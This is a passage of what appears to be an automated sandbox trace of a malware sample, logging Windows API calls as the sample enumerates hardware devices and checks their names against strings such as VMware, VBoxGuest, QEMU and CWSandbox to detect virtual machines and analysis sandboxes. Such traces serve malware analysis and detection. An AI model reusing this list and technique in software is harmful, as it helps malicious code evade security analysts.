StrStrIA (lpFirst="BasicDisplay", lpSrch="VMAUDIO") returned 0x0 [0277.726] lstrlenA (lpString="VMAUDIO") returned 7 [0277.726] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef868 | out: hHeap=0x2670000) returned 1 [0277.726] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8f8 [0277.726] StrStrIA (lpFirst="BasicDisplay", lpSrch="vmdebug") returned 0x0 [0277.726] lstrlenA (lpString="vmdebug") returned 7 [0277.726] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8f8 | out: hHeap=0x2670000) returned 1 [0277.726] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef818 [0277.726] StrStrIA (lpFirst="BasicDisplay", lpSrch="vm3dmp") returned 0x0 [0277.727] lstrlenA (lpString="vm3dmp") returned 6 [0277.727] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef818 | out: hHeap=0x2670000) returned 1 [0277.727] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa08 [0277.727] StrStrIA (lpFirst="BasicDisplay", lpSrch="vmrawdsk") returned 0x0 [0277.727] lstrlenA (lpString="vmrawdsk") returned 8 [0277.727] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0277.727] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26ef9f0 [0277.727] StrStrIA (lpFirst="BasicDisplay", lpSrch="vmx_svga") returned 0x0 [0277.727] lstrlenA (lpString="vmx_svga") returned 8 [0277.727] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0277.727] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef8b8 [0277.727] StrStrIA (lpFirst="BasicDisplay", lpSrch="ansfltr") returned 0x0 [0277.727] lstrlenA (lpString="ansfltr") returned 7 [0277.727] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8b8 | out: hHeap=0x2670000) returned 1 [0277.727] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7b8 [0277.727] StrStrIA (lpFirst="BasicDisplay", lpSrch="sbtisht") returned 0x0 [0277.727] lstrlenA (lpString="sbtisht") returned 7 [0277.727] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7b8 | out: hHeap=0x2670000) returned 1 [0277.727] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0277.727] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x9, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.727] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.732] GetLastError () returned 0x7a [0277.732] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x14) returned 0x26ef908 [0277.732] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.786] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efba0 [0277.786] StrStrIA (lpFirst="?????????", lpSrch="VMware Pointing") returned 0x0 [0277.786] lstrlenA (lpString="VMware Pointing") returned 15 [0277.786] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0277.786] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef928 [0277.786] StrStrIA (lpFirst="?????????", lpSrch="VMware Accelerated") returned 0x0 [0277.786] lstrlenA (lpString="VMware Accelerated") returned 18 [0277.786] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef928 | out: hHeap=0x2670000) returned 1 [0277.786] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb88 [0277.786] StrStrIA (lpFirst="?????????", lpSrch="VMware SCSI") returned 0x0 [0277.786] lstrlenA (lpString="VMware SCSI") returned 11 [0277.786] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0277.786] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef9f0 [0277.787] StrStrIA (lpFirst="?????????", lpSrch="VMware SVGA") returned 0x0 [0277.787] lstrlenA (lpString="VMware SVGA") returned 11 [0277.787] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0277.787] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efbb8 [0277.787] StrStrIA (lpFirst="?????????", lpSrch="VMware Replay") returned 0x0 [0277.787] lstrlenA (lpString="VMware Replay") returned 13 [0277.787] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0277.787] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef928 [0277.787] StrStrIA (lpFirst="?????????", lpSrch="VMware server memory") returned 0x0 [0277.787] lstrlenA (lpString="VMware server memory") returned 20 [0277.787] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef928 | out: hHeap=0x2670000) returned 1 [0277.787] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa50 [0277.787] StrStrIA (lpFirst="?????????", lpSrch="CWSandbox") returned 0x0 [0277.787] lstrlenA (lpString="CWSandbox") returned 9 [0277.787] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0277.787] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa38 [0277.787] StrStrIA (lpFirst="?????????", lpSrch="Virtual HD") returned 0x0 [0277.787] lstrlenA (lpString="Virtual HD") returned 10 [0277.787] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0277.787] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef748 [0277.787] StrStrIA (lpFirst="?????????", lpSrch="QEMU") returned 0x0 [0277.787] lstrlenA (lpString="QEMU") returned 4 [0277.787] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef748 | out: hHeap=0x2670000) returned 1 [0277.787] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efae0 [0277.787] StrStrIA (lpFirst="?????????", lpSrch="Red Hat VirtIO") returned 0x0 [0277.787] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0277.787] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0277.787] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa98 [0277.787] StrStrIA (lpFirst="?????????", lpSrch="srootkit") returned 0x0 [0277.787] lstrlenA (lpString="srootkit") returned 8 [0277.788] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0277.788] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb58 [0277.788] StrStrIA (lpFirst="?????????", lpSrch="VMware VMaudio") returned 0x0 [0277.788] lstrlenA (lpString="VMware VMaudio") returned 14 [0277.788] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0277.788] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efa98 [0277.788] StrStrIA (lpFirst="?????????", lpSrch="VMware Vista") returned 0x0 [0277.788] lstrlenA (lpString="VMware Vista") returned 12 [0277.788] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0277.788] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa98 [0277.788] StrStrIA (lpFirst="?????????", lpSrch="VBoxVideo") returned 0x0 [0277.788] lstrlenA (lpString="VBoxVideo") returned 9 [0277.788] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0277.788] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa80 [0277.788] StrStrIA (lpFirst="?????????", lpSrch="VBoxGuest") returned 0x0 [0277.788] lstrlenA (lpString="VBoxGuest") returned 9 [0277.788] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0277.788] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0277.788] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.788] GetLastError () returned 0xd [0277.788] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0xa, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.788] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.794] GetLastError () returned 0x7a [0277.794] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efae0 [0277.794] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efae0, PropertyBufferSize=0x6, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efae0, RequiredSize=0x19fe7c) returned 1 [0277.799] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efa20 [0277.799] StrStrIA (lpFirst="?????", lpSrch="VMware Pointing") returned 0x0 [0277.799] lstrlenA (lpString="VMware Pointing") returned 15 [0277.799] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0277.799] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef908 [0277.799] StrStrIA (lpFirst="?????", lpSrch="VMware Accelerated") returned 0x0 [0277.799] lstrlenA (lpString="VMware Accelerated") returned 18 [0277.799] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0277.799] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efab0 [0277.799] StrStrIA (lpFirst="?????", lpSrch="VMware SCSI") returned 0x0 [0277.799] lstrlenA (lpString="VMware SCSI") returned 11 [0277.799] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0277.799] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb10 [0277.799] StrStrIA (lpFirst="?????", lpSrch="VMware SVGA") returned 0x0 [0277.799] lstrlenA (lpString="VMware SVGA") returned 11 [0277.799] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0277.799] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa68 [0277.799] StrStrIA (lpFirst="?????", lpSrch="VMware Replay") returned 0x0 [0277.799] lstrlenA (lpString="VMware Replay") returned 13 [0277.800] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0277.800] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef908 [0277.800] StrStrIA (lpFirst="?????", lpSrch="VMware server memory") returned 0x0 [0277.800] lstrlenA (lpString="VMware server memory") returned 20 [0277.800] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0277.800] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb28 [0277.800] StrStrIA (lpFirst="?????", lpSrch="CWSandbox") returned 0x0 [0277.800] lstrlenA (lpString="CWSandbox") returned 9 [0277.800] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0277.800] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efab0 [0277.800] StrStrIA (lpFirst="?????", lpSrch="Virtual HD") returned 0x0 [0277.800] lstrlenA (lpString="Virtual HD") returned 10 [0277.800] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0277.800] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef778 [0277.800] StrStrIA (lpFirst="?????", lpSrch="QEMU") returned 0x0 [0277.800] lstrlenA (lpString="QEMU") returned 4 [0277.800] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef778 | out: hHeap=0x2670000) returned 1 [0277.800] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa20 [0277.800] StrStrIA (lpFirst="?????", lpSrch="Red Hat VirtIO") returned 0x0 [0277.800] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0277.800] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0277.800] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa80 [0277.800] StrStrIA (lpFirst="?????", lpSrch="srootkit") returned 0x0 [0277.800] lstrlenA (lpString="srootkit") returned 8 [0277.800] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0277.800] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efac8 [0277.800] StrStrIA (lpFirst="?????", lpSrch="VMware VMaudio") returned 0x0 [0277.800] lstrlenA (lpString="VMware VMaudio") returned 14 [0277.801] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0277.801] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efb58 [0277.801] StrStrIA (lpFirst="?????", lpSrch="VMware Vista") returned 0x0 [0277.801] lstrlenA (lpString="VMware Vista") returned 12 [0277.801] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0277.801] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efba0 [0277.801] StrStrIA (lpFirst="?????", lpSrch="VBoxVideo") returned 0x0 [0277.801] lstrlenA (lpString="VBoxVideo") returned 9 [0277.801] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0277.801] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efab0 [0277.801] StrStrIA (lpFirst="?????", lpSrch="VBoxGuest") returned 0x0 [0277.801] lstrlenA (lpString="VBoxGuest") returned 9 [0277.801] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0277.801] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0277.801] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.801] GetLastError () returned 0x7a [0277.801] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efb40 [0277.801] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efb40, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efb40, RequiredSize=0x19fe7c) returned 1 [0277.802] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef8c8 [0277.802] StrStrIA (lpFirst="volume", lpSrch="vmxnet") returned 0x0 [0277.802] lstrlenA (lpString="vmxnet") returned 6 [0277.802] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8c8 | out: hHeap=0x2670000) returned 1 [0277.802] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef7f8 [0277.802] StrStrIA (lpFirst="volume", lpSrch="vmscsi") returned 0x0 [0277.802] lstrlenA (lpString="vmscsi") returned 6 [0277.802] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7f8 | out: hHeap=0x2670000) returned 1 [0277.802] StrStrIA (lpFirst="volume", lpSrch="VMAUDIO") returned 0x0 [0277.802] lstrlenA (lpString="VMAUDIO") returned 7 [0277.802] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8c8 | out: hHeap=0x2670000) returned 1 [0277.802] StrStrIA (lpFirst="volume", lpSrch="vmdebug") returned 0x0 [0277.802] lstrlenA (lpString="vmdebug") returned 7 [0277.802] StrStrIA (lpFirst="volume", lpSrch="vm3dmp") returned 0x0 [0277.802] lstrlenA (lpString="vm3dmp") returned 6 [0277.802] StrStrIA (lpFirst="volume", lpSrch="vmrawdsk") returned 0x0 [0277.802] lstrlenA (lpString="vmrawdsk") returned 8 [0277.802] StrStrIA (lpFirst="volume", lpSrch="vmx_svga") returned 0x0 [0277.802] lstrlenA (lpString="vmx_svga") returned 8 [0277.802] StrStrIA (lpFirst="volume", lpSrch="ansfltr") returned 0x0 [0277.802] lstrlenA (lpString="ansfltr") returned 7 [0277.803] StrStrIA (lpFirst="volume", lpSrch="sbtisht") returned 0x0 [0277.803] lstrlenA (lpString="sbtisht") returned 7 [0277.803] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0xb, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.803] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.805] GetLastError () returned 0x7a [0277.806] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xe, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.808] StrStrIA (lpFirst="???????? ????", lpSrch="VMware Pointing") returned 0x0 [0277.808] lstrlenA (lpString="VMware Pointing") returned 15 [0277.808] StrStrIA (lpFirst="???????? ????", lpSrch="VMware Accelerated") returned 0x0 [0277.808] lstrlenA (lpString="VMware Accelerated") returned 18 [0277.808] StrStrIA (lpFirst="???????? ????", lpSrch="VMware SCSI") returned 0x0 [0277.808] lstrlenA (lpString="VMware SCSI") returned 11 [0277.808] StrStrIA (lpFirst="???????? ????", lpSrch="VMware SVGA") returned 0x0 [0277.809] lstrlenA (lpString="VMware SVGA") returned 11 [0277.809] StrStrIA (lpFirst="???????? ????", lpSrch="VMware Replay") returned 0x0 [0277.809] lstrlenA (lpString="VMware Replay") returned 13 [0277.809] StrStrIA (lpFirst="???????? ????", lpSrch="VMware server memory") returned 0x0 [0277.809] lstrlenA (lpString="VMware server memory") returned 20 [0277.809] StrStrIA (lpFirst="???????? ????", lpSrch="CWSandbox") returned 0x0 [0277.809] lstrlenA (lpString="CWSandbox") returned 9 [0277.809] StrStrIA (lpFirst="???????? ????", lpSrch="Virtual HD") returned 0x0 [0277.809] lstrlenA (lpString="Virtual HD") returned 10 [0277.809] StrStrIA (lpFirst="???????? ????", lpSrch="QEMU") returned 0x0 [0277.809] lstrlenA (lpString="QEMU") returned 4 [0277.809] StrStrIA (lpFirst="???????? ????", lpSrch="Red Hat VirtIO") returned 0x0 [0277.809] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0277.809] StrStrIA (lpFirst="???????? ????", lpSrch="srootkit") returned 0x0 [0277.809] lstrlenA (lpString="srootkit") returned 8 [0277.809] StrStrIA (lpFirst="???????? ????", lpSrch="VMware VMaudio") returned 0x0 [0277.809] lstrlenA (lpString="VMware VMaudio") returned 14 [0277.809] StrStrIA (lpFirst="???????? ????", lpSrch="VMware Vista") returned 0x0 [0277.809] StrStrIA (lpFirst="???????? ????", lpSrch="VBoxVideo") returned 0x0 [0277.809] StrStrIA (lpFirst="???????? ????", lpSrch="VBoxGuest") returned 0x0 [0277.809] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.810] GetLastError () returned 0xd [0277.810] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0xc, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.810] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.817] GetLastError () returned 0x7a [0277.817] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x23, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.825] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware Pointing") returned 0x0 [0277.825] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware Accelerated") returned 0x0 [0277.825] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware SCSI") returned 0x0 [0277.825] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware SVGA") returned 0x0 [0277.825] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware Replay") returned 0x0 [0277.825] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware server memory") returned 0x0 [0277.825] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="CWSandbox") returned 0x0 [0277.825] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="Virtual HD") returned 0x0 [0277.825] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="QEMU") returned 0x0 [0277.825] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="Red Hat VirtIO") returned 0x0 [0277.825] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="srootkit") returned 0x0 [0277.825] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware VMaudio") returned 0x0 [0277.825] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware Vista") returned 0x0 [0277.825] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VBoxVideo") returned 0x0 [0277.825] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VBoxGuest") returned 0x0 [0277.826] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.826] GetLastError () returned 0x7a [0277.826] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efaf8, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efaf8, RequiredSize=0x19fe7c) returned 1 [0277.826] StrStrIA (lpFirst="tunnel", lpSrch="vmxnet") returned 0x0 [0277.826] StrStrIA (lpFirst="tunnel", lpSrch="vmscsi") returned 0x0 [0277.826] StrStrIA (lpFirst="tunnel", lpSrch="VMAUDIO") returned 0x0 [0277.826] StrStrIA (lpFirst="tunnel", lpSrch="vmdebug") returned 0x0 [0277.826] StrStrIA (lpFirst="tunnel", lpSrch="vm3dmp") returned 0x0 [0277.826] StrStrIA (lpFirst="tunnel", lpSrch="vmrawdsk") returned 0x0 [0277.827] StrStrIA (lpFirst="tunnel", lpSrch="vmx_svga") returned 0x0 [0277.827] StrStrIA (lpFirst="tunnel", lpSrch="ansfltr") returned 0x0 [0277.827] StrStrIA (lpFirst="tunnel", lpSrch="sbtisht") returned 0x0 [0277.827] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0xd, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.827] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.870] GetLastError () returned 0x7a [0277.870] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x10, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0277.879] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware Pointing") returned 0x0 [0277.879] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware Accelerated") returned 0x0 [0277.879] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware SCSI") returned 0x0 [0277.879] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware SVGA") returned 0x0 [0277.879] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware Replay") returned 0x0 [0277.879] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware server memory") returned 0x0 [0277.879] StrStrIA (lpFirst="Intel Processor", lpSrch="CWSandbox") returned 0x0 [0277.879] StrStrIA (lpFirst="Intel Processor", lpSrch="Virtual HD") returned 0x0 [0277.879] StrStrIA (lpFirst="Intel Processor", lpSrch="QEMU") returned 0x0 [0277.879] StrStrIA (lpFirst="Intel Processor", lpSrch="Red Hat VirtIO") returned 0x0 [0277.879] StrStrIA (lpFirst="Intel Processor", lpSrch="srootkit") returned 0x0 [0277.879] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware VMaudio") returned 0x0 [0277.879] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware Vista") returned 0x0 [0277.880] StrStrIA (lpFirst="Intel Processor", lpSrch="VBoxVideo") returned 0x0 [0277.880] StrStrIA 